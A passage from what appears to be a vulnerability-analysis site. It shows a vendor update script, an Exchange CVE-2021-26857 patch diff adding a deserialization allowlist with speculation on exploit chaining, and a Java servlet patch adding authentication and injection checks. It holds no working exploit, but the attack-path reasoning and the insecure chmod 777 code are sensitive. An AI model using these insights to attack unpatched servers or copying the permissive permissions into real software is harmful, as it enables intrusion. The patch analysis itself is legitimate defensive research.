os.system('chmod -R o+x ' + wsgi_path_new)
httpd_conf = httpd_conf.replace('WSGIScriptAlias /logupload /etc/httpd/html/wsgi_log_upload/log_upload_wsgi.py', '<Directory /root/app>\n Require all granted\n</Directory>\nWSGIScriptAlias /logupload /root/app/log_upload_wsgi.py')
with open(httpd_conf_path, 'w') as (fp):
fp.write(httpd_conf)
os.system('docker rm -f appacheServer')
if os.path.exists(wsgi_path_old):
shutil.rmtree(wsgi_path_old)
os.system('docker run --restart on-failure --name appacheServer -p 80:80 -p 443:443 -v /root/viewplanner/apache_config:/etc/httpd/conf -v ' + wsgi_path_new + ':/root/app -v /root/viewplanner/httpd:/etc/httpd/html -d httpd_python_wsgi:1.0')
time.sleep(10)
os.system('docker exec -it appacheServer chmod a+x /root')
os.system('docker restart appacheServer')
os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/html')
os.system('docker exec -it appacheServer chmod -R 777 /etc/httpd/conf/wsgi_config/wsgi.config')
os.system('chmod -R o+x ' + config_path)
os.system('chmod 644 ' + os.path.join(config_path, 'wsgi.config'))
except Exception as e:
print('Updating wsgi location failed!! {}'.format(e))
sys.exit(1)
change_password.set_password()
try:
print('Updating version')
current_version = ''
with open(version_file, 'r') as (fp):
current_version = fp.read()
if '-sp1' not in current_version:
current_version = current_version + '-sp1'
with open(version_file, 'w') as (fp):
fp.write(current_version)
except Exception as e:
print('Updating version failed!! {}'.format(e))
sys.exit(1)
print('Update Completed')
And the password script…
import sys, hashlib, configparser, getpass, hashlib
config_file = '/root/viewplanner/apache_config/wsgi_config/wsgi.config'
try:
config = configparser.ConfigParser()
config.read(config_file)
except Exception as e:
body = 'Exception {}'.format(str(e))
sys.exit(1)
def verify_current():
password = getpass.getpass(prompt='Enter current Password: ')
if hashlib.sha256(password.encode('utf8')).hexdigest() != config['apache']['key']:
return False
else:
return True
def set_password():
password = getpass.getpass(prompt='Enter new Password: ')
re_password = getpass.getpass(prompt='Re-enter new Password: ')
if password != re_password:
print('Password mismatch!!!')
sys.exit(1)
try:
hashed_password = hashlib.sha256(password.encode('utf8')).hexdigest()
except Exception as e:
print('Password Update failed!!! {}'.format(e))
sys.exit(1)
try:
config['apache']['key'] = hashed_password
with open(config_file, 'w') as (fp):
config.write(fp)
except Exception as e:
config.add_section('apache')
config.set('apache', 'key', hashed_password)
with open(config_file, 'w') as (fp):
config.write(fp)
print('Password changed successfully')
if __name__ == '__main__':
if not verify_current():
print('Failed to verify password!!!')
else:
set_password()
Still haven’t found time to test the patch, but it’s in @gwillcox-r7’s good hands now!
4
Technical Analysis
As per Microsoft’s blog post on Exchange Server 0day use by the HAFNIUM actors, CVE-2021-26857 is a deserialization vulnerability in Exchange Server’s Unified Messaging (voicemail) service. Exploiting the vulnerability reportedly requires admin access or chaining with another vuln (likely CVE-2021-26855), but successful exploitation results in RCE as the SYSTEM account. This vulnerability would ideally be combined with an auth bypass, which CVE-2021-26855 may very well provide.
I took a look at CVE-2021-26857 last night and came up with the following patch diff:
--- exchange.unpatched/Microsoft.Exchange.UM.UMCore/UMCore/PipelineContext.cs 2021-03-02 19:54:18.000000000 -0600 +++ exchange.patched/Microsoft.Exchange.UM.UMCore/UMCore/PipelineContext.cs 2021-03-02 19:55:19.000000000 -0600 @@ -1,742 +1,886 @@ using System; +using System.Collections.Generic; using System.Globalization; using System.IO; +using System.Runtime.Serialization; +using Microsoft.Exchange.Compliance.Serialization.Formatters; +using Microsoft.Exchange.Data; +using Microsoft.Exchange.Data.Common; using Microsoft.Exchange.Data.Directory; using Microsoft.Exchange.Data.Directory.Recipient; using Microsoft.Exchange.Data.Directory.SystemConfiguration; using Microsoft.Exchange.Data.Storage; using Microsoft.Exchange.Diagnostics; using Microsoft.Exchange.Diagnostics.Components.UnifiedMessaging; using Microsoft.Exchange.ExchangeSystem; using Microsoft.Exchange.TextProcessing.Boomerang; using Microsoft.Exchange.UM.UMCommon; +using Microsoft.Mapi; namespace Microsoft.Exchange.UM.UMCore { internal abstract class PipelineContext : DisposableBase, IUMCreateMessage { internal PipelineContext() { } internal PipelineContext(SubmissionHelper helper) { bool flag = false; try { this.helper = helper; this.cultureInfo = new CultureInfo(helper.CultureInfo); flag = true; } finally { if (!flag) { this.Dispose(); } } } public MessageItem MessageToSubmit { get { return this.messageToSubmit; } protected set { this.messageToSubmit = value; } } public string MessageID { get { return this.messageID; } protected set { this.messageID = value; } } internal abstract Pipeline Pipeline { get; } internal Microsoft.Exchange.UM.UMCommon.PhoneNumber CallerId { get { return this.helper.CallerId; } } internal Guid TenantGuid { get { return this.helper.TenantGuid; } } internal int ProcessedCount { get { return this.processedCount; } } internal ExDateTime SentTime { get { return this.sentTime; } set { this.sentTime = value; } } internal CultureInfo CultureInfo { get { return this.cultureInfo; } } protected internal string HeaderFileName { get { if (string.IsNullOrEmpty(this.headerFileName)) { Guid guid = Guid.NewGuid(); this.headerFileName = Path.Combine(Utils.VoiceMailFilePath, guid.ToString() + ".txt"); } return this.headerFileName; } protected set { this.headerFileName = value; } } protected internal string CallerAddress { get { return this.helper.CallerAddress; } protected set { this.helper.CallerAddress = value; } } protected internal string CallerIdDisplayName { get { return this.helper.CallerIdDisplayName; } protected set { this.helper.CallerIdDisplayName = value; } } protected internal string MessageType { internal get { return this.messageType; } set { this.messageType = value; } } public virtual void PrepareUnProtectedMessage() { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, this.GetHashCode(), "PipelineContext:PrepareUnProtectedMessage.", Array.Empty<object>()); using (DisposeGuard disposeGuard = default(DisposeGuard)) { this.messageToSubmit = MessageItem.CreateInMemory(StoreObjectSchema.ContentConversionProperties); disposeGuard.Add<MessageItem>(this.messageToSubmit); this.SetMessageProperties(); disposeGuard.Success(); } } public virtual void PrepareProtectedMessage() { throw new InvalidOperationException(); } public virtual void PrepareNDRForFailureToGenerateProtectedMessage() { throw new InvalidOperationException(); } public virtual PipelineDispatcher.WIThrottleData GetThrottlingData() { return new PipelineDispatcher.WIThrottleData { Key = this.GetMailboxServerId(), RecipientId = this.GetRecipientIdForThrottling(), WorkItemType = PipelineDispatcher.ThrottledWorkItemType.NonCDRWorkItem }; } public virtual void PostCompletion() { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, "PipelineContext - Deleting header file '{0}'", new object[] { this.headerFileName }); Util.TryDeleteFile(this.headerFileName); } internal static PipelineContext FromHeaderFile(string headerFile) { PipelineContext pipelineContext = null; PipelineContext result; try { ContactInfo contactInfo = null; string text = null; int num = 0; ExDateTime exDateTime = default(ExDateTime); string text2 = null; SubmissionHelper submissionHelper = new SubmissionHelper(); uint num2; using (StreamReader streamReader = File.OpenText(headerFile)) { string text3; while ((text3 = streamReader.ReadLine()) != null) { string[] array = text3.Split(" : ".ToCharArray(), 2, StringSplitOptions.RemoveEmptyEntries); if (array != null && array.Length == 2) { string text4 = array[0]; num2 = <PrivateImplementationDetails>.ComputeStringHash(text4); if (num2 <= 872212143U) { if (num2 <= 134404218U) { if (num2 != 77294025U) { if (num2 != 111122938U) { - if (num2 == 134404218U) + if (num2 != 134404218U) { - if (text4 == "ProcessedCount") - { - num = Convert.ToInt32(array[1], CultureInfo.InvariantCulture) + 1; - continue; - } + goto IL_409; + } + if (!(text4 == "ProcessedCount")) + { + goto IL_409; } + num = Convert.ToInt32(array[1], CultureInfo.InvariantCulture) + 1; + continue; } - else if (text4 == "RecipientObjectGuid") + else { + if (!(text4 == "RecipientObjectGuid")) + { + goto IL_409; + } submissionHelper.RecipientObjectGuid = new Guid(array[1]); continue; } } - else if (text4 == "CallerNAme") + else { + if (!(text4 == "CallerNAme")) + { + goto IL_409; + } submissionHelper.CallerName = array[1]; continue; } } else if (num2 <= 507978139U) { if (num2 != 152414519U) { - if (num2 == 507978139U) + if (num2 != 507978139U) { - if (text4 == "RecipientName") - { - submissionHelper.RecipientName = array[1]; - continue; - } + goto IL_409; } + if (!(text4 == "RecipientName")) + { + goto IL_409; + } + submissionHelper.RecipientName = array[1]; + continue; } - else if (text4 == "ContactInfo") + else { - contactInfo = (CommonUtil.Base64Deserialize(array[1]) as ContactInfo); - continue; + if (!(text4 == "ContactInfo")) + { + goto IL_409; + } + Exception ex = null; + try + { + try + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(array[1]))) + { + contactInfo = (ContactInfo)TypedBinaryFormatter.DeserializeObject(memoryStream, PipelineContext.contactInfoDeserializationAllowList, null, true); + } + } + catch (ArgumentNullException ex) + { + } + catch (SerializationException ex) + { + } + catch (Exception ex) + { + } + continue; + } + finally + { + if (ex != null) + { + CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, "Failed to get contactInfo from header file {0} with Error={1}", new object[] + { + headerFile, + ex + }); + } + } } } else if (num2 != 707084238U) { - if (num2 == 872212143U) + if (num2 != 872212143U) { - if (text4 == "CallerId") - { - submissionHelper.CallerId = Microsoft.Exchange.UM.UMCommon.PhoneNumber.Parse(array[1]); - continue; - } + goto IL_409; } + if (!(text4 == "CallerId")) + { + goto IL_409; + } + submissionHelper.CallerId = Microsoft.Exchange.UM.UMCommon.PhoneNumber.Parse(array[1]); + continue; } - else if (text4 == "SentTime") + else { + if (!(text4 == "SentTime")) + { + goto IL_409; + } DateTime dateTime = Convert.ToDateTime(array[1], CultureInfo.InvariantCulture); exDateTime = new ExDateTime(ExTimeZone.CurrentTimeZone, dateTime); continue; } } else if (num2 <= 2593661420U) { if (num2 <= 1526417836U) { if (num2 != 978885386U) { - if (num2 == 1526417836U) + if (num2 != 1526417836U) { - if (text4 == "MessageType") - { - text = array[1]; - continue; - } + goto IL_409; + } + if (!(text4 == "MessageType")) + { + goto IL_409; } + text = array[1]; + continue; } - else if (text4 == "CallerAddress") + else { + if (!(text4 == "CallerAddress")) + { + goto IL_409; + } submissionHelper.CallerAddress = array[1]; continue; } } else if (num2 != 1850847732U) { - if (num2 == 2593661420U) + if (num2 != 2593661420U) { - if (text4 == "CallId") - { - submissionHelper.CallId = array[1]; - continue; - } + goto IL_409; } + if (!(text4 == "CallId")) + { + goto IL_409; + } + submissionHelper.CallId = array[1]; + continue; } - else if (text4 == "CallerIdDisplayName") + else { + if (!(text4 == "CallerIdDisplayName")) + { + goto IL_409; + } submissionHelper.CallerIdDisplayName = array[1]; continue; } } else if (num2 <= 3342616108U) { if (num2 != 2975106116U) { - if (num2 == 3342616108U) + if (num2 != 3342616108U) { - if (text4 == "TenantGuid") - { - submissionHelper.TenantGuid = new Guid(array[1]); - continue; - } + goto IL_409; } + if (!(text4 == "TenantGuid")) + { + goto IL_409; + } + submissionHelper.TenantGuid = new Guid(array[1]); + continue; } - else if (text4 == "SenderAddress") + else { + if (!(text4 == "SenderAddress")) + { + goto IL_409; + } string text5 = array[1]; continue; } } else if (num2 != 3581765001U) { - if (num2 == 4186841001U) + if (num2 != 4186841001U) { - if (text4 == "CultureInfo") - { - submissionHelper.CultureInfo = array[1]; - continue; - } + goto IL_409; + } + if (!(text4 == "CultureInfo")) + { + goto IL_409; } + submissionHelper.CultureInfo = array[1]; + continue; } - else if (text4 == "MessageID") + else if (!(text4 == "MessageID")) { - text2 = array[1]; - continue; + goto IL_409; } + text2 = array[1]; + continue; + IL_409: submissionHelper.CustomHeaders[array[0]] = array[1]; } } } num2 = <PrivateImplementationDetails>.ComputeStringHash(text); if (num2 <= 894870128U) { if (num2 <= 360985808U) { if (num2 != 356120169U) { if (num2 == 360985808U) { if (text == "Fax") { pipelineContext = new FaxPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } } else if (text == "IncomingCallLog") { pipelineContext = new IncomingCallLogPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } else if (num2 != 438908515U) { if (num2 != 466919760U) { if (num2 == 894870128U) { if (text == "CDR") { pipelineContext = CDRPipelineContext.Deserialize((string)submissionHelper.CustomHeaders["CDRData"]); - goto IL_62E; + goto IL_694; } } } else if (text == "MissedCall") { pipelineContext = new MissedCallPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } else if (text == "OCSNotification") { pipelineContext = OCSPipelineContext.Deserialize((string)submissionHelper.CustomHeaders["OCSNotificationData"]); text2 = pipelineContext.messageID; exDateTime = pipelineContext.sentTime; - goto IL_62E; + goto IL_694; } } else if (num2 <= 1086454342U) { if (num2 != 995233564U) { if (num2 == 1086454342U) { if (text == "XSOVoiceMail") { pipelineContext = new XSOVoiceMessagePipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } } else if (text == "PartnerTranscriptionRequest") { pipelineContext = new PartnerTranscriptionRequestPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } else if (num2 != 1356218075U) { if (num2 != 2525024257U) { if (num2 == 3974407582U) { if (text == "SMTPVoiceMail") { if (num < PipelineWorkItem.ProcessedCountMax - 1) { pipelineContext = new VoiceMessagePipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } pipelineContext = new MissedCallPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } } } else if (text == "HealthCheck") { pipelineContext = new HealthCheckPipelineContext(Path.GetFileNameWithoutExtension(headerFile)); - goto IL_62E; + goto IL_694; } } else if (text == "OutgoingCallLog") { pipelineContext = new OutgoingCallLogPipelineContext(submissionHelper); - goto IL_62E; + goto IL_694; } throw new HeaderFileArgumentInvalidException(string.Format(CultureInfo.InvariantCulture, "{0}: {1}", "MessageType", text)); - IL_62E: + IL_694: if (text2 == null) { text2 = Guid.NewGuid().ToString(); exDateTime = ExDateTime.Now; } pipelineContext.HeaderFileName = headerFile; pipelineContext.processedCount = num; if (contactInfo != null) { IUMResolveCaller iumresolveCaller = pipelineContext as IUMResolveCaller; if (iumresolveCaller != null) { iumresolveCaller.ContactInfo = contactInfo; } } pipelineContext.sentTime = exDateTime; pipelineContext.messageID = text2; pipelineContext.WriteHeaderFile(headerFile); result = pipelineContext; } - catch (IOException ex) + catch (IOException ex2) { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, "Failed to parse the header file {0} because its not closed by thread creating the file. Error={1}", new object[] { headerFile, - ex + ex2 }); if (pipelineContext != null) { pipelineContext.Dispose(); pipelineContext = null; } result = null; } - catch (InvalidObjectGuidException ex2) + catch (InvalidObjectGuidException ex3) { CallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, "Couldn't find the recipient for this message. Error={0}", new object[] { - ex2 + ex3 }); if (pipelineContext != null) { pipelineContext.Dispose(); pipelineContext = null; } throw; } - catch (InvalidTenantGuidException ex3) + catch (InvalidTenantGuidException ex4) { CallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, "Couldn't find the tenant for this message. Error={0}", new object[] { - ex3 + ex4 }); if (pipelineContext != null) { pipelineContext.Dispose(); pipelineContext = null; } throw; } - catch (NonUniqueRecipientException ex4) + catch (NonUniqueRecipientException ex5) { CallIdTracer.TraceWarning(ExTraceGlobals.VoiceMailTracer, 0, "Multiple objects found for the recipient. Error={0}", new object[] { - ex4 + ex5 }); if (pipelineContext != null) { pipelineContext.Dispose(); pipelineContext = null; } throw; } return result; } internal abstract void WriteCustomHeaderFields(StreamWriter headerStream); public abstract string GetMailboxServerId(); public abstract string GetRecipientIdForThrottling(); internal virtual void SaveMessage() { this.WriteHeaderFile(this.HeaderFileName); } protected override void InternalDispose(bool disposing) { if (disposing) { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, this.GetHashCode(), "PipelineContext.Dispose() called", Array.Empty<object>()); } } protected override DisposeTracker InternalGetDisposeTracker() { return DisposeTracker.Get<PipelineContext>(this); } protected virtual void SetMessageProperties() { IUMResolveCaller iumresolveCaller = this as IUMResolveCaller; if (iumresolveCaller != null) { ExAssert.RetailAssert(iumresolveCaller.ContactInfo != null, "ResolveCallerStage should always set the ContactInfo."); UMSubscriber umsubscriber = ((IUMCAMessage)this).CAMessageRecipient as UMSubscriber; UMDialPlan dialPlan = (umsubscriber != null) ? umsubscriber.DialPlan : null; Microsoft.Exchange.UM.UMCommon.PhoneNumber pstnCallbackTelephoneNumber = this.CallerId.GetPstnCallbackTelephoneNumber(iumresolveCaller.ContactInfo, dialPlan); this.messageToSubmit.From = iumresolveCaller.ContactInfo.CreateParticipant(pstnCallbackTelephoneNumber, this.CultureInfo); XsoUtil.SetVoiceMessageSenderProperties(this.messageToSubmit, iumresolveCaller.ContactInfo, dialPlan, this.CallerId); this.messageToSubmit.InternetMessageId = BoomerangHelper.FormatInternetMessageId(this.MessageID, Utils.GetHostFqdn()); this.messageToSubmit[ItemSchema.SentTime] = this.SentTime; } this.messageToSubmit.AutoResponseSuppress = AutoResponseSuppress.All; this.messageToSubmit[MessageItemSchema.CallId] = this.helper.CallId; IUMCAMessage iumcamessage = this as IUMCAMessage; if (iumcamessage != null) { this.MessageToSubmit.Recipients.Add(new Participant(iumcamessage.CAMessageRecipient.ADRecipient)); IADSystemConfigurationLookup iadsystemConfigurationLookup = ADSystemConfigurationLookupFactory.CreateFromOrganizationId(iumcamessage.CAMessageRecipient.ADRecipient.OrganizationId); this.MessageToSubmit.Sender = new Participant(iadsystemConfigurationLookup.GetMicrosoftExchangeRecipient()); } } protected void WriteHeaderFile(string headerFileName) { using (FileStream fileStream = File.Open(headerFileName, FileMode.Create, FileAccess.Write, FileShare.None)) { using (StreamWriter streamWriter = new StreamWriter(fileStream)) { if (this.MessageType != null) { streamWriter.WriteLine("MessageType : " + this.MessageType); } streamWriter.WriteLine("ProcessedCount : " + this.processedCount.ToString(CultureInfo.InvariantCulture)); if (this.messageID != null) { streamWriter.WriteLine("MessageID : " + this.messageID); } if (this.sentTime.Year != 1) { streamWriter.WriteLine("SentTime : " + this.sentTime.ToString(CultureInfo.InvariantCulture)); } this.WriteCommonHeaderFields(streamWriter); this.WriteCustomHeaderFields(streamWriter); } } } protected virtual void WriteCommonHeaderFields(StreamWriter headerStream) { if (!this.CallerId.IsEmpty) { headerStream.WriteLine("CallerId : " + this.CallerId.ToDial); } if (this.helper.RecipientName != null) { headerStream.WriteLine("RecipientName : " + this.helper.RecipientName); } if (this.helper.RecipientObjectGuid != Guid.Empty) { headerStream.WriteLine("RecipientObjectGuid : " + this.helper.RecipientObjectGuid.ToString()); } if (this.helper.CallerName != null) { headerStream.WriteLine("CallerNAme : " + this.helper.CallerName); } if (!string.IsNullOrEmpty(this.helper.CallerIdDisplayName)) { headerStream.WriteLine("CallerIdDisplayName : " + this.helper.CallerIdDisplayName); } if (this.CallerAddress != null) { headerStream.WriteLine("CallerAddress : " + this.CallerAddress); } if (this.helper.CultureInfo != null) { headerStream.WriteLine("CultureInfo : " + this.helper.CultureInfo); } if (this.helper.CallId != null) { headerStream.WriteLine("CallId : " + this.helper.CallId); } IUMResolveCaller iumresolveCaller = this as IUMResolveCaller; if (iumresolveCaller != null && iumresolveCaller.ContactInfo != null) { headerStream.WriteLine("ContactInfo : " + CommonUtil.Base64Serialize(iumresolveCaller.ContactInfo)); } headerStream.WriteLine("TenantGuid : " + this.helper.TenantGuid.ToString()); } protected UMRecipient CreateRecipientFromObjectGuid(Guid objectGuid, Guid tenantGuid) { return UMRecipient.Factory.FromADRecipient<UMRecipient>(this.CreateADRecipientFromObjectGuid(objectGuid, tenantGuid)); } protected ADRecipient CreateADRecipientFromObjectGuid(Guid objectGuid, Guid tenantGuid) { if (objectGuid == Guid.Empty) { throw new HeaderFileArgumentInvalidException("ObjectGuid is empty"); } ADRecipient adrecipient = ADRecipientLookupFactory.CreateFromTenantGuid(tenantGuid).LookupByObjectId(new ADObjectId(objectGuid)); if (adrecipient == null) { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, "Could not find recipient {0}", new object[] { objectGuid.ToString() }); throw new InvalidObjectGuidException(objectGuid.ToString()); } return adrecipient; } protected UMDialPlan InitializeCallerIdAndTryGetDialPlan(UMRecipient recipient) { UMDialPlan umdialPlan = null; if (this.CallerId.UriType == UMUriType.E164 && recipient.ADRecipient.UMRecipientDialPlanId != null) { umdialPlan = ADSystemConfigurationLookupFactory.CreateFromADRecipient(recipient.ADRecipient).GetDialPlanFromId(recipient.ADRecipient.UMRecipientDialPlanId); if (umdialPlan != null && umdialPlan.CountryOrRegionCode != null) { this.helper.CallerId = this.helper.CallerId.Clone(umdialPlan); } } return umdialPlan; } protected string GetMailboxServerIdHelper() { IUMCAMessage iumcamessage = this as IUMCAMessage; if (iumcamessage != null) { UMMailboxRecipient ummailboxRecipient = iumcamessage.CAMessageRecipient as UMMailboxRecipient; if (ummailboxRecipient != null) { return ummailboxRecipient.ADUser.ServerLegacyDN; } } return "af360a7e-e6d4-494a-ac69-6ae14896d16b"; } protected string GetRecipientIdHelper() { IUMCAMessage iumcamessage = this as IUMCAMessage; if (iumcamessage != null) { UMMailboxRecipient ummailboxRecipient = iumcamessage.CAMessageRecipient as UMMailboxRecipient; if (ummailboxRecipient != null) { return ummailboxRecipient.ADUser.DistinguishedName; } } return "455e5330-ce1f-48d1-b6b1-2e318d2ff2c4"; } private MessageItem messageToSubmit; private SubmissionHelper helper; private string messageType; private CultureInfo cultureInfo; private string headerFileName; private int processedCount; private string messageID; private ExDateTime sentTime; + + private static Type[] contactInfoDeserializationAllowList = new Type[] + { + typeof(Version), + typeof(Guid), + typeof(PropTag), + typeof(ContactInfo), + typeof(ADContactInfo), + typeof(FoundByType), + typeof(ADUser), + typeof(ADPropertyBag), + typeof(ValidationError), + typeof(ADPropertyDefinition), + typeof(ADObjectId), + typeof(ExchangeObjectVersion), + typeof(ExchangeBuild), + typeof(MultiValuedProperty<string>), + typeof(LocalizedString), + typeof(ProxyAddressCollection), + typeof(SmtpAddress), + typeof(RecipientDisplayType), + typeof(RecipientTypeDetails), + typeof(ElcMailboxFlags), + typeof(UserAccountControlFlags), + typeof(ObjectState), + typeof(DirectoryBackendType), + typeof(MServPropertyDefinition), + typeof(MbxPropertyDefinition), + typeof(MbxPropertyDefinitionFlags), + typeof(OrganizationId), + typeof(PartitionId), + typeof(SmtpProxyAddress), + typeof(SmtpProxyAddressPrefix), + typeof(ByteQuantifiedSize), + typeof(Unlimited<ByteQuantifiedSize>), + typeof(List<ValidationError>), + typeof(ADMultiValuedProperty<TextMessagingStateBase>), + typeof(ADMultiValuedProperty<ADObjectId>), + typeof(StoreObjectId), + typeof(StoreObjectType), + typeof(EntryIdProvider), + typeof(SimpleContactInfoBase), + typeof(MultipleResolvedContactInfo), + typeof(CallerNameDisplayContactInfo), + typeof(PersonalContactInfo), + typeof(DefaultContactInfo), + typeof(UMDialPlan), + typeof(UMEnabledFlags), + Type.GetType("Microsoft.Exchange.Data.ByteQuantifiedSize+QuantifierProvider, Microsoft.Exchange.Data"), + Type.GetType("System.UnitySerializationHolder, mscorlib"), + Type.GetType("Microsoft.Exchange.Data.ByteQuantifiedSize+Quantifier,Microsoft.Exchange.Data"), + Type.GetType("Microsoft.Exchange.Data.PropertyBag+ValuePair, Microsoft.Exchange.Data"), + Type.GetType("System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"), + typeof(DialByNamePrimaryEnum), + typeof(DialByNameSecondaryEnum), + typeof(AudioCodecEnum), + typeof(UMUriType), + typeof(UMSubscriberType), + typeof(UMGlobalCallRoutingScheme), + typeof(UMVoIPSecurityType), + typeof(SystemFlagsEnum), + typeof(EumProxyAddress), + typeof(EumProxyAddressPrefix) + }; } }
The patch appears to add and use a typed allowlist for deserialization of a voicemail’s contact info, which is found in a header file alongside the voicemail itself. Other seemingly unprotected deserializations can be seen in the same class. (I think it’s just XML parsing.) My suspicion is that CVE-2021-26858 or CVE-2021-27065 could be used to write a malicious header file to C:\Program Files\Microsoft\Exchange Server\V15\UnifiedMessaging\voicemail, but it’s entirely possible a crafted voicemail could be sent instead. While I haven’t developed a PoC yet, I do have a good idea how to, assuming the patch analysis is correct. Better-resourced attackers should be able to exploit this issue in considerably less time.
The specifically patched code can be seen below:
[snip] else { if (!(text4 == "ContactInfo")) { goto IL_409; } Exception ex = null; try { try { using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(array[1]))) { contactInfo = (ContactInfo)TypedBinaryFormatter.DeserializeObject(memoryStream, PipelineContext.contactInfoDeserializationAllowList, null, true); } } catch (ArgumentNullException ex) { } catch (SerializationException ex) { } catch (Exception ex) { } continue; } finally { if (ex != null) { CallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, "Failed to get contactInfo from header file {0} with Error={1}", new object[] { headerFile, ex }); } } } [snip]
[snip] private static Type[] contactInfoDeserializationAllowList = new Type[] { typeof(Version), typeof(Guid), typeof(PropTag), typeof(ContactInfo), typeof(ADContactInfo), typeof(FoundByType), typeof(ADUser), typeof(ADPropertyBag), typeof(ValidationError), typeof(ADPropertyDefinition), typeof(ADObjectId), typeof(ExchangeObjectVersion), typeof(ExchangeBuild), typeof(MultiValuedProperty<string>), typeof(LocalizedString), typeof(ProxyAddressCollection), typeof(SmtpAddress), typeof(RecipientDisplayType), typeof(RecipientTypeDetails), typeof(ElcMailboxFlags), typeof(UserAccountControlFlags), typeof(ObjectState), typeof(DirectoryBackendType), typeof(MServPropertyDefinition), typeof(MbxPropertyDefinition), typeof(MbxPropertyDefinitionFlags), typeof(OrganizationId), typeof(PartitionId), typeof(SmtpProxyAddress), typeof(SmtpProxyAddressPrefix), typeof(ByteQuantifiedSize), typeof(Unlimited<ByteQuantifiedSize>), typeof(List<ValidationError>), typeof(ADMultiValuedProperty<TextMessagingStateBase>), typeof(ADMultiValuedProperty<ADObjectId>), typeof(StoreObjectId), typeof(StoreObjectType), typeof(EntryIdProvider), typeof(SimpleContactInfoBase), typeof(MultipleResolvedContactInfo), typeof(CallerNameDisplayContactInfo), typeof(PersonalContactInfo), typeof(DefaultContactInfo), typeof(UMDialPlan), typeof(UMEnabledFlags), Type.GetType("Microsoft.Exchange.Data.ByteQuantifiedSize+QuantifierProvider, Microsoft.Exchange.Data"), Type.GetType("System.UnitySerializationHolder, mscorlib"), Type.GetType("Microsoft.Exchange.Data.ByteQuantifiedSize+Quantifier,Microsoft.Exchange.Data"), Type.GetType("Microsoft.Exchange.Data.PropertyBag+ValuePair, Microsoft.Exchange.Data"), Type.GetType("System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]"), typeof(DialByNamePrimaryEnum), typeof(DialByNameSecondaryEnum), typeof(AudioCodecEnum), typeof(UMUriType), typeof(UMSubscriberType), typeof(UMGlobalCallRoutingScheme), typeof(UMVoIPSecurityType), typeof(SystemFlagsEnum), typeof(EumProxyAddress), typeof(EumProxyAddressPrefix) }; [snip]
3
3
Technical Analysis
The patch adds authentication to updateSystemSettings(), exportInventoryTable(), and a number of other methods.
private boolean updateSystemSettings(HttpServletRequest request, HttpServletResponse response) {
boolean bReturn = false;
boolean bDataOk = false;
StringBuffer strResults = new StringBuffer();
String strPROMFilePath = new String();
String strExportFilePath = new String();
String strImportFilePath = new String();
String strConfigFilePath = new String();
String strDbBackupFilePath = new String();
String strZTPTemplatesPath = new String();
String strSSHPort = new String();
String strTFTPPort = new String();
String strMaxBackupFiles = new String();
String strNetworkScanTimeout = new String();
String strUserSessionTimeout = new String();
String strJSONObj = request.getParameter("json_obj");
String strJSONNamingObj = request.getParameter("json_naming_obj");
SystemTable tempSystemTable = new SystemTable();
int nUseCustomNaming = 0;
JSONObject objJSON = null;
DeviceTreeTable tempDeviceTreeTable = new DeviceTreeTable();
+ HttpSession session = request.getSession();
+ if (session == null || session.getAttribute("user_id") == null || session.getAttribute("user_name") == null || session.getAttribute("user_level") == null) {
+ strResults.append("Failed to update system settings: User Not Login");
+ System.out.println("Failed to update system settings: User Not Login");
+ response.setContentType("text/html");
+ try {
+ PrintWriter out = response.getWriter();
+ out.println(strResults);
+ } catch (Exception e) {
+ System.out.println("NetworkServlet-updateSystemSettings: " + e.toString());
+ }
+ return bReturn;
+ }
+ boolean bSecVuln = false;
try {
objJSON = new JSONObject(new JSONTokener(strJSONObj));
strPROMFilePath = objJSON.getString("PROMPATH");
strExportFilePath = objJSON.getString("EXPORTPATH");
strImportFilePath = objJSON.getString("IMPORTPATH");
strConfigFilePath = objJSON.getString("CONFIGPATH");
strDbBackupFilePath = objJSON.getString("DBBACKUPPATH");
strZTPTemplatesPath = objJSON.getString("ZTPTEMPLATESPATH");
strSSHPort = objJSON.getString("SSHPORT");
strTFTPPort = objJSON.getString("TFTPPORT");
strMaxBackupFiles = objJSON.getString("MAXBACKUPFILES");
strNetworkScanTimeout = objJSON.getString("NETWORKSCANTIMEOUT");
strUserSessionTimeout = objJSON.getString("USERSESSIONTIMEOUT");
nUseCustomNaming = objJSON.getInt("USECUSTOMNAMING");
bDataOk = true;
- boolean sqlInj = false;
+ boolean sqlInj1 = false, filepathDir1 = true;
+ boolean sqlInj2 = false, filepathDir2 = true;
+ boolean sqlInj3 = false, filepathDir3 = true;
+ boolean sqlInj4 = false, filepathDir4 = true;
+ boolean sqlInj5 = false, filepathDir5 = true;
+ boolean sqlInj6 = false, filepathDir6 = true;
CUtils cutil = new CUtils();
- if (strPROMFilePath != null && !strPROMFilePath.equals(""))
- sqlInj = cutil.checkSQLInjection(strPROMFilePath);
- if (sqlInj)
+ if (strPROMFilePath != null && !strPROMFilePath.equals("")) {
+ sqlInj1 = cutil.checkSQLInjection(strPROMFilePath);
+ filepathDir1 = cutil.checkDirectory(strPROMFilePath);
+ }
+ if (strExportFilePath != null && !strExportFilePath.equals("")) {
+ sqlInj2 = cutil.checkSQLInjection(strExportFilePath);
+ filepathDir2 = cutil.checkDirectory(strExportFilePath);
+ }
